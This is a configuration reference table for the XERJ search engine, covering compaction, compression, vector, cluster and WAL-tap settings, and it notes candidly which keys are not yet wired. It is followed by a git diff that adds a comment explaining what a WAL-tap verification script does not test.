t">enum</div><div class="cell d">"size_tiered"</div><div class="cell dsc">Only "size_tiered" is implemented; "log_structured" is refused at startup rather than silently running the other policy.</div><div class="cell k">min_segments</div><div class="cell t">u32</div><div class="cell d">10</div><div class="cell dsc">Accepted and validated (must be ≥ 2) but <strong>not wired</strong>: the merge trigger is per-tier and comes from min_merge_count. Setting it away from the default logs a warning at startup.</div><div class="cell k">max_segment_mb</div><div class="cell t">u32</div><div class="cell d">8192</div><div class="cell dsc">Upper bound on a mergeable segment (MiB). Segments at or above this size are never merged again.</div><div class="cell k">io_rate_mb_per_sec</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Accepted but <strong>not wired</strong>: merge I/O is not throttled in this build — the rate limiter that honours it sits in an unused storage-crate merge executor. Setting it away from the default logs a warning at startup.</div><div class="cell k">max_concurrent</div><div class="cell t">u8</div><div class="cell d">1</div><div class="cell dsc">Accepted but <strong>not wired</strong>: merge parallelism comes from the XERJ_MERGE_PARALLELISM environment variable, which also defaults to 1. Setting it away from the default logs a warning at startup.</div><div class="group" id="compression">[compression]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Accepted but <strong>not wired</strong>: every durable artifact is a compressed envelope with no uncompressed write path, so false changes nothing on disk. Setting it away from the default logs a warning at startup.</div><div class="cell k">level</div><div class="cell t">enum</div><div class="cell d">"balanced"</div><div class="cell dsc">"fast" (Zstd L1), "balanced" (Zstd L3, default), "best" (Zstd L6, cold storage). Applied when segments are re-encoded <strong>at merge</strong>; flush always writes L3, because raising the flush level collapses sustained ingest. Force-merge to apply a change to data already on disk.</div><div class="cell k">block_size_docs</div><div class="cell t">u32</div><div class="cell d">128</div><div class="cell dsc">Accepted but <strong>not wired</strong>: the stored codec is columnar over the whole segment section, not blocked by document count. Range 16–4096 is enforced at startup, and a non-default value logs a warning.</div><div class="group" id="fts">[fts]</div><div class="cell k">default_analyzer</div><div class="cell t">enum</div><div class="cell d">"standard"</div><div class="cell dsc">"standard" · "whitespace" · "simple" · "english". Override per-field in the mapping.</div><div class="group" id="vector">[vector]</div><div class="cell k">default_metric</div><div class="cell t">enum</div><div class="cell d">"cosine"</div><div class="cell dsc">"cosine" · "dot_product" · "euclidean". Cosine for text embeddings is the usual choice.</div><div class="cell k">hnsw_m</div><div class="cell t">u32</div><div class="cell d">16</div><div class="cell dsc">Accepted and validated; the built-in HNSW graph currently builds with fixed M=16 — this key is not yet wired to the build.</div><div class="cell k">hnsw_ef_construction</div><div class="cell t">u32</div><div class="cell d">200</div><div class="cell dsc">Accepted; must be ≥ hnsw_m. The graph currently builds with fixed ef_construction=200 — this key is not yet wired to the build.</div><div class="cell k">hnsw_ef_search</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Accepted but not read by the serving path — the ANN beam width comes from the request's num_candidates (floored at 800).</div><div class="cell k">default_quantization</div><div class="cell t">enum</div><div class="cell d">"none"</div><div class="cell dsc">"none" (the default) or "scalar8" = 4× RAM saving, 1–2% recall loss. "binary" has no quantizer behind it and is refused at startup rather than silently stored at full precision; "scalar4" is not a value this key accepts at all (the 4-bit quantizer in the vector crate is unreachable from config or mapping).</div><div class="cell k">max_dimensions</div><div class="cell t">u32</div><div class="cell d">16384</div><div class="cell dsc">Upper bound on vector dimensionality. 4× the Elasticsearch limit of 4096.</div><div class="group" id="logs">[logs]</div><div class="cell k">retention_days</div><div class="cell t">u32</div><div class="cell d">90</div><div class="cell dsc">Auto-delete log docs older than N days. 0 disables.</div><div class="cell k">time_partition</div><div class="cell t">enum</div><div class="cell d">"1h"</div><div class="cell dsc">"1m" · "5m" · "15m" · "1h" · "6h" · "1d". Time-slice granularity for retention pruning.</div><div class="group" id="embedding">[embedding]</div><div class="cell k">default_endpoint</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">OpenAI-compatible embeddings URL. Empty disables auto-embedding on ingest. Example: "https://api.openai.com/v1/embeddings".</div><div class="cell k">default_model</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Model name passed to the endpoint. Example: "text-embedding-3-small" or "nomic-embed-text".</div><div class="cell k">batch_size</div><div class="cell t">u32</div><div class="cell d">64</div><div class="cell dsc">Docs per embedding API call. Range 1–2048. Bigger batches amortise round-trip cost.</div><div class="cell k">timeout_ms</div><div class="cell t">u32</div><div class="cell d">5000</div><div class="cell dsc">HTTP timeout for embedding calls (ms). Ingest fails with a timeout error if exceeded.</div><div class="group" id="limits">[limits]</div><div class="cell k">max_query_memory_mb</div><div class="cell t">u32</div><div class="cell d">512</div><div class="cell dsc">Per-query memory cap (MiB). Queries that exceed it are cancelled.</div><div class="cell k">max_concurrent_searches</div><div class="cell t">u32</div><div class="cell d">64</div><div class="cell dsc">Global in-flight search ceiling. Extras are queued.</div><div class="cell k">max_fields_per_index</div><div class="cell t">u32</div><div class="cell d">500</div><div class="cell dsc">Field-explosion protection. ES default is 1000; 500 is intentionally stricter.</div><div class="group" id="indexing">[indexing]</div><div class="cell k">turbo_batch_size</div><div class="cell t">u32</div><div class="cell d">1000</div><div class="cell dsc">Docs per batch in turbo mode. Range 500–5000. Larger = higher throughput, slightly higher latency.</div><div class="cell k">turbo_parallel</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Parallel tokenisation on Rayon threads. Disable only for debugging.</div><div class="cell k">turbo_fast_analyzer</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Skip stemming and stop-word removal in turbo mode. Trades recall for speed.</div><div class="group" id="cluster">[cluster]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Enable multi-node cluster mode. When true, the Raft state machine and cluster transport are started on port.</div><div class="cell k">port</div><div class="cell t">u16</div><div class="cell d">9300</div><div class="cell dsc">TCP port for intra-cluster Raft and search messages. Must be reachable from every peer.</div><div class="cell k">peers</div><div class="cell t">array</div><div class="cell d">[]</div><div class="cell dsc">Peer list in "node_id=host:port" format. The local node identifies itself from the entry matching bind_address:port. Example: ["a=10.0.0.1:9300","b=10.0.0.2:9300","c=10.0.0.3:9300"].</div><div class="cell k">tick_ms</div><div class="cell t">u64</div><div class="cell d">50</div><div class="cell dsc">Raft tick interval (ms). Lower = faster leader election at the cost of CPU.</div><div class="cell k">auth_secret</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Cluster-wide shared secret authenticating every control frame on port (HMAC-SHA256 over a per-connection challenge). Mandatory when enabled = true — with cluster mode on and no secret here or in XERJ_CLUSTER_AUTH_SECRET the node refuses to start. Same value on every node; minimum 16 chars; generate with `openssl rand -hex 32`. Authenticates, does not encrypt.</div><div class="group" id="wal_tap">[wal_tap]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Push a filtered subset of indices to an external ES-compatible target (Elasticsearch, OpenSearch, or another XERJ node) in near-real-time. One-directional and single-node — this is not cross-cluster replication. Off by default.</div><div class="cell k">target_url</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Base URL of the target cluster; the tap POSTs to {target_url}/_bulk. Example: "https://central:9200". Empty disables the tap even with enabled = true. Must not carry credentials in the URL (user:pass@host is refused at startup): target_url is echoed by GET /_xerj/wal_tap, by _stats and in the log. Put the credential in target_auth.</div><div class="cell k">target_auth</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Verbatim Authorization header for the target, e.g. "ApiKey abc123". Write-only: GET /_xerj/wal_tap reports whether one is set, never its value.</div><div class="cell k">indices</div><div class="cell t">array</div><div class="cell d">[]</div><div class="cell dsc">Index allowlist, glob patterns. Empty ships nothing; ["edge-*","metrics"] ships those. A wildcard never expands to a hidden index, and XERJ&#39;s own .xerj* system indices are never shipped whatever this says.</div><div class="cell k">poll_interval_ms</div><div class="cell t">u64</div><div class="cell d">500</div><div class="cell dsc">How often each allowlisted index&#39;s WAL is polled (ms). Range 50–60000. This is the floor on end-to-end latency; the tap adds nothing to the write path.</div><div class="cell k">max_batch_docs</div><div class="cell t">usize</div><div class="cell d">1000</div><div class="cell dsc">Maximum WAL entries read and shipped per poll, per index.</div><div class="cell k">max_batch_bytes</div><div class="cell t">usize</div><div class="cell d">5242880</div><div class="cell dsc">Maximum _bulk body size (bytes). Bounds one HTTP request against the target&#39;s http.max_content_length — a larger batch is split across requests, never truncated.</div><div class="cell k">request_timeout_secs</div><div class="cell t">u64</div><div class="cell d">30</div><div class="cell dsc">Per-request timeout against the target. A timed-out batch is retried; the cursor does not advance, so nothing is dropped.</div><div class="cell k">max_retry_backoff_secs</div><div class="cell t">u64</div><div class="cell d">60</div><div class="cell dsc">Ceiling on the exponential, jittered retry backoff when the target is down.</div><div class="cell k">min_retained_generations</div><div class="cell t">u64</div><div class="cell d">0</div><div class="cell dsc">Rotated WAL generations kept per shard after every entry in them is durable in a segment, so a tap whose target is briefly unreachable still finds them. At the default 0, WAL retention never waits for the target: an outage longer than storage.flush_interval_secs loses entries and reports them as gaps in GET /_xerj/wal_tap/_stats. This is a bounded floor, not a retention lease — the extra cost is at most n × storage.wal_max_size_mb per WAL shard per index, whether or not a tap is running, so a stalled target can never fill this node&#39;s disk.</div></div>
<h2 id="server-section">[server]</h2>
diff --git a/scripts/verify-wal-tap.sh b/scripts/verify-wal-tap.sh
index ed7004ed4..63f4514d8 100755
--- a/scripts/verify-wal-tap.sh
+++ b/scripts/verify-wal-tap.sh
@@ -9,6 +9,20 @@
# engine/crates/xerj-engine/tests/wal_tap_push.rs (push semantics). This script
# is the one that proves the whole path over real HTTP.
#
+# WHAT THIS SCRIPT DOES NOT PROVE: convergence under redelivery.
+# The tap's at-least-once story rests on `version_type: external` — a
+# redelivered action must be a no-op at the target. xerj's own `_bulk` IGNORES
+# per-action `version` / `version_type` (only the single-doc path honours them,
+# es_compat.rs:2990), so a xerj target is precisely the target that does not
+# implement the mechanism, and running two xerj nodes cannot exercise it.
+# That claim is covered instead by
+# `redelivery_converges_at_a_target_that_honours_external_versioning` and
+# `a_target_that_rejects_every_action_is_reported_unhealthy_with_real_lag` in
+# wal_tap_push.rs, against a stub that implements the ES rule. Against an
+# Elasticsearch or OpenSearch target the mechanism is live; against a xerj
+# target the tap degrades to last-write-wins by arrival, as
+# `xerj-engine/src/wal_tap.rs` documents.
+#
# cargo build --release -p xerj-server
# scripts/verify-wal-tap.sh engine/target/release/xerj
set -uo pipefail